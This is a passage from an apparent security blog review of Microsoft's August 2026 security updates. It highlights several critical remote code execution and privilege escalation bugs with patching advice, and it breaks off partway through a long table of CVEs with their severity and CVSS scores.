equivalent increase in the number of bugs being actively exploited, at least as 0-days.\nAgain, we\u2019ll start with the bug under active attack and move on from there. \n-              CVE-2026-68820 - Windows Ancillary Function Driver for WinSock Elevation of Privilege VulnerabilityThis bug allows attackers to execute code at SYSTEM level. Bugs of this type are often paired with code execution bugs to take over a system, often through phishing or ransomware. One nitpick here: Microsoft lists the Exploit Code Maturity in the CVSS as \u201cUnproven\u201d but calls this out as actively exploited. Somewhere, that math ain\u2019t mathing.\n-              CVE-2026-62878 - Windows DNS Server Remote Code Execution VulnerabilityThere are several DNS-related patches this month, but this one stands out by far. It allows a remote, unauthenticated attacker to execute code with elevated privileges without user interaction. It\u2019s a good ol\u2019 fashioned stack-based buffer overflow that ends up wormable. Microsoft states exploitation is less likely, but I wouldn\u2019t count on that. I suggest testing and deploying this one quickly, especially to your Internet-facing DNS servers.\n -              CVE-2026-62893 - Windows Deployment Services TFTP Server Remote Code Execution VulnerabilityThis bug came through the ZDI program and allows for code execution without user authentication or user interaction. TFTP has no auth mechanism and is available remotely vid UDP port 69. Any WDS server serving Windows Imaging Format (WIM) files via TFTP (the standard PXE boot scenario) is vulnerable. The issue results from the lack of validating the existence of an object prior to performing operations on the object. UDP port 69 should be blocked at your perimeter, but this could easily be used by attackers for lateral movement within an enterprise. Again, test and deploy this one quickly if you\u2019re using WDS for deployments in your enterprise.\n -              CVE-2026-62815 - Microsoft QUIC Remote Code Execution VulnerabilityHere we have another remote, unauthenticated code execution bug that doesn\u2019t require user interaction. This one is in the QUIC component. If you aren\u2019t familiar with it, QUIC is an IETF-standardized transport protocol that runs over UDP instead of TCP, and it's the foundation for HTTP/3. Roughly 13.5 million websites rely on it. If you are one of those millions, test and deploy this patch rapidly.\n -              CVE-2026-59124 - Microsoft High Performance Computing (HPC) Pack Remote Code Execution VulnerabilityDon\u2019t let the Important severity rating fool you; this is still a CVSS 9.8 bug. It gets knocked down since HPC isn\u2019t on by default. However, it\u2019s a hugely growing segment, and this is another remote, unauthenticated code execution bug that does not require user interaction. It might not be applicable to everyone, but if you\u2019re using HPC in your environment, this is not one to sleep on, especially since Microsoft lists this as \u201cexploitation more likely\u201d.\n -              CVE-2026-62911 - Microsoft Exchange Server Elevation of Privilege VulnerabilityThere are several Exchange bugs in this release, but this one really stands out. It could allow a privilege escalation via an authentication bypass. If successful, an attacker could \u201ctake over the mailboxes of all Exchange users, attackers can send emails, read emails, download attachments.\u201d This bug was one of the ones demonstrated at Pwn2Own Berlin, so ignore Microsoft\u2019s exploitability and Exploit Code Maturity ratings. We handed them working exploits, so this is a real threat. As always, test out those Exchange updates before deploying, but don\u2019t hurry up and schedule that downtime for your upgrade. \nHere\u2019s the full list of CVEs released by Microsoft for August 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-68820\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-62832\n  Windows User Profile\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  EoP\n \n \n  CVE-2026-49163 **\n  Application Insights\n  Profiler Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50481 **\n  Azure Active Directory\n  Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-68823 **\n  Azure Confidential\n  Ledger Remote Code Execution Vulnerability\n  Critical\n  9.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62869 **\n  Azure Entra ID\n  Spoofing Vulnerability\n  Critical\n  8.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56161 **\n  Azure Logic Apps\n  Information Disclosure Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50515 **\n  Azure Service Bus\n  Remote Code Execution Vulnerability\n  Critical\n  9.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-56162 **\n  Azure SQL Database\n  Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-63522 **\n  Azure SQL Database\n  Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62836 **\n  Azure SQL Managed\n  Instance Elevation of Privilege Vulnerability\n  Critical\n  8.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62830 **\n  Azure SRE Agent\n  Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-62873 **\n  Microsoft 365 Admin\n  Center Elevation of Privilege Vulnerability\n  Critical\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50516 **\n  Microsoft Azure\n  Kubernetes Service Elevation of Privilege Vulnerability\n  Critical\n  9.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-59115 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-68794\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68804\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68816\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62911\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-63513\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63519\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63526\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65664\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66807\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63515\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63532\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64898\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64903\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64909\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64910\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64911\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65657\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70130\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-70332 **\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63518\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63525\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64907\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63508 **\n  Microsoft Planetary\n  Computer Pro Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-59118 **\n  Microsoft Power Apps\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-65668 **\n  Microsoft Purview\n  eDiscovery Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62815\n  Microsoft QUIC Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62827\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-64921\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65665\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62896 **\n  Microsoft Teams\n  Elevation of Privilege Vulnerability\n  Critical\n  9.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-65667 **\n  Microsoft Teams\n  Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-62918 **\n  Microsoft Teams\n  Spoofing Vulnerability\n  Critical\n  7.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62824\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62818\n  Windows Active\n  Directory Certificate Services (AD CS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62893\n  Windows Deployment\n  Services TFTP Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66802\n  Windows Device Health\n  Attestation (DHA) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-71331\n  Windows Device Health\n  Attestation (DHA) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62823\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62817\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62820\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62878\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65789\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62890\n  Windows GDI+ Elevation\n  of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62822\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65791\n  Windows iSCSI Target\n  Service Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66799\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62816\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62819\n  Windows Routing and\n  Remote Access Service (RRAS) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62889\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-70354\n  .NET Core Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62901\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58641\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62871\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62886\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62909\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62872\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65810\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62897\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  RCE\n \n \n  CVE-2026-62900\n  .NET Information\n  Disclosure Vulnerability\n  Important\n  5.9\n  No\n  No\n  Info\n \n \n  CVE-2026-62902\n  .NET Information\n  Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62899\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  5.9\n  No\n  No\n  SFB\n \n \n  CVE-2026-65777\n  Active Directory\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-59130\n  AMD Zen Information\n  Disclosure Vulnerability\n  Important\n  5.6\n  No\n  No\n  Info\n \n \n  CVE-2026-59131\n  AMD Zen Information\n  Disclosure Vulnerability\n  Important\n  5.6\n  No\n  No\n  Info\n \n \n  CVE-2026-62898\n   Microsoft QUIC Information Disclosure\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61357\n  Application\n  Information Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70340\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-65806\n  Azure CycleCloud\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47299\n  Azure Monitor Agent\n  Elevation of Privilege Vulnerability\n  Important\n  7.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-57104\n  Azure Storage Explorer\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62892\n  Capability Access\n  Management Service (camsvc) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65675\n  CoPilot Chat Security\n  Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-65786\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65787\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65788\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70335\n  GitHub Copilot and\n  Visual Studio Code Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-64906\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64908\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64912\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64914\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64919\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64920\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-59136\n  Microsoft COM for\n  Windows Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54123\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62698\n  Microsoft Digest\n  Authentication Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-66301\n  Microsoft Dynamics 365\n  (On-Premises) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65815\n  Microsoft Dynamics 365\n  On-Premises Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-40375\n  Microsoft Dynamics\n  Business Central Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65673\n  Microsoft Entra\n  Connect Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-68797\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68799\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68802\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68808\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68813\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70318\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70327\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70328\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65807\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68793\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68795\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68796\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68798\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68800\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68801\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68803\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68805\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68806\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68807\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68810\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68811\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68812\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68814\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68815\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68817\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62912\n  Microsoft Exchange\n  Server Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62910\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-65813\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-62913\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62915\n  Microsoft Exchange\n  Server Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-62914\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-59133\n  Microsoft High\n  Performance Computing (HPC) Pack Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59124\n  Microsoft High\n  Performance Computing (HPC) Pack Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62784\n  Microsoft Local\n  Security Authority Server (lsasrv) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68792\n  Microsoft Office\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62842\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63517\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66809\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63524\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63529\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-64899\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70314\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70315\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70317\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70323\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63533\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64904\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65656\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65661\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57105\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-70306\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Important\n  9.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63521\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63528\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63530\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63531\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-64917\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66806\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66810\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70319\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63527\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64905\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64915\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70311\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65680\n  Microsoft OneDrive for\n  MacOS Elevation of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70329\n  Microsoft Outlook\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62882\n  Microsoft Outlook\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-70313\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70337\n  Microsoft PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70338\n  Microsoft PowerShell\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-59138\n  Microsoft Remote\n  Registry Service Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-61345\n  Microsoft Remote\n  Registry Service Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-70324\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70321\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70326\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70355\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-62837\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63514\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63520\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-64901\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65658\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65663\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66805\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66808\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58639\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62829\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62839\n  Microsoft SharePoint\n  